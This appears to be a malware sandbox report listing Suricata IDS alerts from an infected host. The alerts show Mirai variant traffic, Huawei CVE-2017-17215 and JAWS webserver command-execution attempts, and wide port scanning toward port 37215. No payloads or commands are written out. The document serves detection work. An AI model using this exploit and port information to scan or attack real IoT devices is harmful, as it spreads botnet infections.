Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49460 -> 162.215.180.62:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35208 -> 210.29.183.145:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45184 -> 156.223.160.22:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35748 -> 197.22.145.57:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:33134 -> 41.254.145.21:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47894 -> 139.51.191.171:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45658 -> 197.214.144.74:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49460 -> 162.215.180.62:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45658 -> 197.214.144.74:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57446 -> 139.139.2.17:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:47278 -> 201.19.217.8:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47894 -> 139.51.191.171:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41488 -> 57.77.154.206:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41488 -> 57.77.154.206:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:49284 -> 217.102.222.209:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:40238 -> 178.171.45.145:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:49284 -> 217.102.222.209:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:40238 -> 178.171.45.145:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:47278 -> 201.19.217.8:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:35208 -> 210.29.183.145:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35220 -> 197.138.120.236:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57446 -> 139.139.2.17:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38270 -> 169.247.250.168:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38270 -> 169.247.250.168:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:46240 -> 41.161.237.232:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32926 -> 133.205.30.205:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32926 -> 133.205.30.205:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52462 -> 142.50.5.178:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52462 -> 142.50.5.178:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54408 -> 203.50.8.113:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:52960 -> 156.35.200.12:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54408 -> 203.50.8.113:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48346 -> 2.51.143.104:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48346 -> 2.51.143.104:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:53908 -> 162.156.93.202:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50306 -> 219.159.123.120:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:52374 -> 129.144.14.38:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:45014 -> 156.107.32.220:37215
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:53908 -> 162.156.93.202:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38046 -> 213.89.187.153:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50182 -> 73.150.237.197:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46412 -> 59.225.143.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50182 -> 73.150.237.197:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38024 -> 19.208.57.186:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:38084 -> 38.252.33.188:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:35158 -> 41.21.21.53:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:56192 -> 49.106.166.45:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:39144 -> 130.164.233.87:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54928 -> 4.29.253.50:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:45788 -> 23.105.251.53:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46412 -> 59.225.143.231:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:45788 -> 23.105.251.53:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50306 -> 219.159.123.120:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:52374 -> 129.144.14.38:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:48536 -> 74.215.79.226:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38046 -> 213.89.187.153:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38084 -> 38.252.33.188:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:56192 -> 49.106.166.45:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59310 -> 79.212.17.233:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54928 -> 4.29.253.50:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59310 -> 79.212.17.233:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:38024 -> 19.208.57.186:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:37412 -> 34.131.129.136:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:37412 -> 34.131.129.136:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58930 -> 152.138.96.232:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:55756 -> 184.67.228.6:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58930 -> 152.138.96.232:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:55756 -> 184.67.228.6:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:58578 -> 82.133.175.110:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:50408 -> 190.100.222.121:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59166 -> 112.129.158.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:50408 -> 190.100.222.121:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:32996 -> 204.33.164.130:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44096 -> 177.25.213.167:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:32996 -> 204.33.164.130:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:48536 -> 74.215.79.226:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:58578 -> 82.133.175.110:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:54798 -> 68.59.246.174:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:60318 -> 37.222.45.109:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:39144 -> 130.164.233.87:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41556 -> 138.126.42.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59166 -> 112.129.158.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41556 -> 138.126.42.137:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44096 -> 177.25.213.167:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:54798 -> 68.59.246.174:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:60318 -> 37.222.45.109:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:59420 -> 119.57.157.97:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:57840 -> 44.117.142.118:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:59420 -> 119.57.157.97:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:57840 -> 44.117.142.118:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:41622 -> 67.52.176.63:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:41622 -> 67.52.176.63:80
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57418 -> 197.112.138.120:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:57802 -> 197.132.221.211:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:39958 -> 156.134.199.251:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40566 -> 197.152.165.235:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:40304 -> 156.204.91.108:37215
Source: Network traffic	Suricata IDS: 2835222 - Severity 1 - ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) : 192.168.2.23:56208 -> 41.85.149.60:37215
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:46394 -> 81.44.34.58:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:46394 -> 81.44.34.58:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:44476 -> 38.73.224.202:80
Source: Network traffic	Suricata IDS: 2030092 - Severity 1 - ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution : 192.168.2.23:44476 -> 38.73.224.202:80
Source: Network traffic	Suricata IDS: 2029034 - Severity 1 - ET MALWARE Mirai Variant User-Agent (Outbound) : 192.168.2.23:35338 -> 195.80.150.63:80

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 156.92.26.213 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.102.251.3 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.47.6.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.112.36.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.83.91.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.92.113.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.2.67.28 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.246.230 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.138.144.123 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.45.55.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.254.201.182 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.81.216.73 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.132.36.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.138.35.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.125.64.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.95.144.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.120.0.141 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.100.239.57 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.190.171.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.186.236.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.35.184.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.9.17.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.206.218 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.239.231.118 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.32.79.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.160.174.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.98.235.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.33.15.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.141.19.90 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.90.20.1 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.236.202.71 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.190.27.127 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.33.83.212 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.189.100.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.128.168.4 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.171.7.72 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.89.76.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.117.16.183 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.228.231 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.204.14 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.212.74.76 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.139.41.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.202.193.198 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.137.68.38 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.234.229.143 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.62.227.111 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.33.92.184 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.1.86.119 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.244.216.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.19.192.101 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.194.172.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.27.248.160 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.90.206.103 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.235.219.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.15.20.128 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.213.141.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.254.206.106 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.60.150.52 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.234.240.222 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.142.28.246 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.187.91.238 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.144.170.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.184.132.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.193.175.51 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.116.60.64 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.212.168.108 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.239.149.223 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.43.153.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.176.72.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.212.179.162 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.212.86.234 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.198.245.77 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.98.137.88 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.148.169.55 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.104.17.91 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.11.220.187 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.93.183.22 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.168.2.31 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.140.217.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.155.174.15 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.75.98.243 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.205.151.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.23.82.23 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.74.132.197 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.175.253.112 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.195.89.117 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.108.241.36 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.91.35.7 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.211.52.221 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.197.234.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.39.55.6 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.72.239.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.178.23.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.120.95.25 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.0.27.241 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.87.31.174 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.173.105.97 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.86.224.152 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.238.64.83 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.160.94.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.114.201.19 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.38.192.226 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.201.3.82 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.195.119.125 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.229.215.215 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.68.184.254 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.202.35.144 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.78.166.147 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.207.248.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.56.28.225 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.85.122.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.104.230.69 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.53.99.113 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.30.236.206 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.151.142.56 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.116.224.195 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.75.253.155 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.25.185.2 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.167.253.45 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.67.155.159 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.8.226.53 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.117.198.81 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.60.214.149 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.137.19.237 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.105.43.205 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.33.185.24 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.35.192.232 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.43.124 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.113.127.228 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.49.23.107 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.230.185.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.88.50.39 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.214.176.26 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.95.61.48 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.15.1.86 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.154.227.62 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.196.26.32 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.86.168.194 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.234.176.186 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.103.77.192 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.174.43.135 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.187.146.240 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.12.245.104 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.7.182.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.228.146.171 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.89.218.65 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.26.235.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.190.69.217 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.215.226.33 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.35.128.199 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 197.191.64.11 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 156.214.229.201 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.138.147.236 ports 1,2,3,5,7,37215
Source: global traffic	TCP traffic: 41.196.69.158 ports 1,2,3,5,7,37215
